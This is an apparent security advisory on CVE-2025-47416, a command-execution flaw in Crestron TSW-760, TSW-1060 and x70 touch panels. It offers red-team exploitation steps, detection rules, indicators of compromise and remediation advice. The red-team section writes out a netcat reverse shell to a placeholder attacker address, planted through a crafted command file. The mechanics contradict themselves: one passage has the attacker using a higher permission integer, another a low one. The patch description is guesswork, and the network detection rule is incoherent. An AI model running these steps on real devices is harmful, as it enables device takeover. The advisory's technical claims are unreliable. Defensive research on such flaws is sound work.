CVE-2025-47416

Executive Summary

CVE-2025-47416 is a critical vulnerability in Crestron touch screen and control devices (TSW-760, TSW-1060, and x70 series) that allows an attacker with local filesystem access to achieve unauthorized command execution. The flaw resides in the ConsoleFindCommandMatchList function within libsymproc.so, which is imported by the ctpd process. This function enumerates the /dev/shm/symproc/c directory in alphabetical order to identify console commands. Permission levels are inferred from integer values present in each command's file name. An attacker who can write a file with a lexicographically earlier name and a higher permission integer into that directory can cause their own arbitrary file to be executed as a console command, bypassing intended access controls.

The TSW-760 and TSW-1060 are confirmed affected and are End-of-Life (EOL) with no patch available. The x70 series is affected on firmware versions 3.000.0110.001 and below, with a fix available in firmware 3.001.0031.001. No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Crestron firmware issue. However, the attack vector relies on local filesystem access, which could be achieved through a compromised supply chain component (e.g., a malicious Crestron package or third-party plugin) that gains write access to /dev/shm/symproc/c.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely because a full vector has not been assigned. Based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Local (L) – requires filesystem access to /dev/shm/symproc/c.
• Attack Complexity (AC): Low (L) – the directory is world-writable in many configurations.
• Privileges Required (PR): Low (L) – an attacker needs a low-privileged user or process that can write to the shared memory directory.
• User Interaction (UI): None (N) – no user action required beyond the attacker placing the malicious file.
• Scope (S): Unchanged (U) – the vulnerable component is the same as the impacted component.
• Confidentiality (C): High (H) – arbitrary command execution can lead to data exfiltration.
• Integrity (I): High (H) – attacker can modify system state.
• Availability (A): High (H) – attacker can disrupt device operation.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 7.8 (High)

Threat Level: High – due to the potential for full device compromise and the EOL status of some affected hardware.

Deep Dive & Mechanics

The vulnerability is a classic uncontrolled search path element (CWE-427) combined with a permission bypass via filename manipulation.

1. The ConsoleFindCommandMatchList Function: This function is part of libsymproc.so, a shared library used by the ctpd (Crestron Touch Panel Daemon) process. Its purpose is to enumerate available console commands that can be executed on the device.

2. The /dev/shm/symproc/c Directory: The function reads the contents of this directory, which is a shared memory filesystem (tmpfs). This directory is intended to store command definitions. The function lists files in alphabetical order.

3. Permission Inference from Filename: Each file in the directory represents a command. The filename contains an integer value that indicates the required permission level to execute that command. For example, a file named 100_reset might require permission level 100, while 200_admin might require level 200.

4. The Attack: An attacker who can write a file to /dev/shm/symproc/c can create a malicious command file. By choosing a filename that sorts alphabetically before legitimate commands (e.g., 000_malicious), the attacker ensures their command is processed first. By setting a low permission integer (e.g., 000), the attacker bypasses permission checks. The ConsoleFindCommandMatchList function will then return the attacker's file as a valid command, and ctpd will execute it.

5. Impact: Successful exploitation allows an attacker to execute arbitrary code with the privileges of the ctpd process, which typically runs as root or a high-privileged user. This can lead to full device compromise, persistent backdoors, and lateral movement within the network.

Vulnerable vs. Patched Code

The vulnerability is not in a specific code snippet but in the design of the ConsoleFindCommandMatchList function. The "patched" version for x70 devices likely implements one or more of the following:

• Vulnerable (TSW-760/TSW-1060 firmware 3.002.1061, x70 firmware <= 3.000.0110.001):

  • The function reads /dev/shm/symproc/c and trusts the filename to determine permissions.
  • No validation of file ownership or integrity.
  • Alphabetical ordering is used without any security consideration.

• Patched (x70 firmware 3.001.0031.001):

  • The function likely validates that files in /dev/shm/symproc/c are signed or originate from a trusted source.
  • Permission levels are likely enforced via a separate, secure mechanism (e.g., a signed manifest or a dedicated permission database).
  • The directory may be restricted to a specific user/group, preventing unauthorized writes.

Since the TSW-760 and TSW-1060 are EOL, no patch will be released. The only mitigation is to replace the devices.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Crestron TSW-760, TSW-1060, or x70 device with vulnerable firmware.
• Ability to write to /dev/shm/symproc/c (e.g., via a compromised service, SSH access, or a malicious Crestron package).

Exploitation Steps:

1. Craft a Malicious Command File: Create a file that will be interpreted as a console command. The file should contain the path to an executable or a script. For example, a file named 000_exec containing:

   /tmp/malicious_script.sh
   

2. Create the Malicious Script: Place the actual payload in /tmp/malicious_script.sh:

   #!/bin/sh
   # Reverse shell to attacker
   /bin/nc -e /bin/sh attacker_ip 4444
   

3. Write the File to the Target Directory:

   echo "/tmp/malicious_script.sh" > /dev/shm/symproc/c/000_exec
   

4. Trigger Command Execution: The ctpd process periodically scans the directory. Once it processes the malicious file, it will execute the script, establishing a reverse shell.

Alternative Payload: A file named 000_backdoor could be created to add a new user or modify system files.

Blue Team

Detection:

• Monitor for unexpected files being created in /dev/shm/symproc/c.
• Monitor the ctpd process for unusual child processes (e.g., /bin/sh, /bin/nc).
• Monitor for outbound network connections from the Crestron device to unknown IPs.

Hunting:

• Search for files in /dev/shm/symproc/c that have a low permission integer (e.g., 000_*).
• Check the integrity of files in /dev/shm/symproc/c against a known-good baseline.

Prevention:

• Restrict write access to /dev/shm/symproc/c to only the ctpd process and authorized administrators.
• Use a file integrity monitoring (FIM) tool to alert on changes to /dev/shm/symproc/c.
• For x70 devices, apply the firmware update to 3.001.0031.001.
• For TSW-760/TSW-1060, replace the devices as they are EOL.

Indicators of Compromise (IOCs)

• File System:

  • Presence of files in /dev/shm/symproc/c with a permission integer of 000 or other low values.
  • Files in /dev/shm/symproc/c that are not part of the original firmware (e.g., 000_malicious, 000_backdoor).
  • Unexpected scripts or binaries in /tmp or other writable directories.

• Process:

  • The ctpd process spawning unexpected child processes (e.g., /bin/sh, /bin/nc, /bin/bash).
  • Unusual network connections from the Crestron device (e.g., to an external IP on port 4444).

• Network:

  • Outbound connections from the Crestron device to an IP address not in the allowed list.
  • Inbound connections to the Crestron device on unusual ports.

Detection Engineering

YARA Rule

rule CVE_2025_47416_Crestron_ConsoleFindCommandMatchList {
    meta:
        description = "Detects malicious command files targeting CVE-2025-47416"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47416"
    strings:
        $s1 = "/dev/shm/symproc/c" ascii wide nocase
        $s2 = "ConsoleFindCommandMatchList" ascii wide nocase
        $s3 = "ctpd" ascii wide nocase
    condition:
        $s1 or ($s2 and $s3)
}

Sigma Rule

title: Detection of CVE-2025-47416 Exploitation Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of files in /dev/shm/symproc/c with low permission integers
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|startswith: '/dev/shm/symproc/c/'
        TargetFilename|re: '^[0-9]{1,3}_'
    condition: selection
falsepositives:
    - Legitimate firmware updates that create new command files
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47416 - Crestron Device Outbound Connection"; flow:to_server,established; content:"|2f 64 65 76 2f 73 68 6d 2f 73 79 6d 70 72 6f 63 2f 63|"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Identify Affected Devices: Inventory all Crestron TSW-760, TSW-1060, and x70 devices in your environment.
2. Patch x70 Devices: Update x70 devices to firmware version 3.001.0031.001 or later.
3. Replace EOL Devices: For TSW-760 and TSW-1060, plan for immediate replacement as no patch is available.
4. Restrict Access: Ensure that only authorized personnel have SSH or physical access to Crestron devices.
5. Monitor: Implement the detection rules provided above to identify any exploitation attempts.

Long-Term Mitigations:

• Segment Crestron devices on a separate VLAN with strict firewall rules.
• Disable unnecessary services on the devices.
• Implement a robust patch management process for all IoT/OT devices.
• Conduct regular security assessments of your AV/control system infrastructure.

Valters IT
Securing Your Digital Frontier